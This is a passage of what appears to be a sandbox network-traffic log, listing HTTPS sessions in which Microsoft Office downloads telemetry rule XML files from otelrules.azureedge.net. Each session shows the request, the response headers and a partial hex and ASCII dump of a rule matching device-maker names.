2024-11-18 19:21:28 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.5	49744	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:29 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:29 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:29 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 584cc2e3-301e-005d-1eab-36e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192129Z-1866b5c5fbblmztchC1DFWs6v400000004rg00000000pxp3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:29 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.5	49745	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:29 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:29 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:29 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: fa408a18-501e-0064-15b8-371f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192129Z-1866b5c5fbbnjgfwhC1DFW3usc00000001m00000000016h4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:29 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.5	49746	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:29 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:29 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:29 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 913984e0-001e-0017-7a9b-380c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192129Z-16547b76f7fgvq8chC1DFWhd2w00000006q000000000vtr9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:29 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.5	49747	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:29 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:29 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:29 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: f23710ee-101e-000b-743d-385e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192129Z-164f84587bfdt5l2hC1DFW88gs00000004dg00000000wuvn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:29 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.5	49743	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:29 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:29 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:29 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 9c109920-501e-00a3-5d9b-38c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192129Z-16547b76f7fm8pcwhC1DFWaxcc000000049000000000n0ak x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:29 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.5	49749	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:30 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:30 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:30 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 089a25c2-e01e-0052-7e86-37d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192130Z-164f84587bftbpb6hC1DFWm4kg000000051000000000a7hm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:30 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.5	49750	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:30 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:30 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:30 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: dd4d8867-801e-0083-7a9b-38f0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192130Z-16547b76f7f6892shC1DFWawd0000000037g00000000bwm2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:30 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.5	49751	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:30 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:30 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:30 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: a9c4265b-101e-000b-57af-365e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192130Z-16547b76f7fhv4d5hC1DFW7h0n00000004g000000000vmzs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:30 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.5	49753	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:30 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:30 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:30 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 8a4e7403-501e-0047-0c09-37ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192130Z-1866b5c5fbbx98hfhC1DFWuqmg00000004vg00000000ueg1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:30 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.5	49752	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:30 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:30 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:30 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: f08eb9b9-301e-0000-60ae-37eecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192130Z-164f84587bfsgfx9hC1DFWw1as000000065g000000007prr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:30 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.5	49754	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:31 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:31 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:31 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 7a7e882b-d01e-002b-49aa-3625fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192131Z-16547b76f7fht2hfhC1DFWbngg00000006h000000000uf3q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 19:21:31 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.5	49756	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:31 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
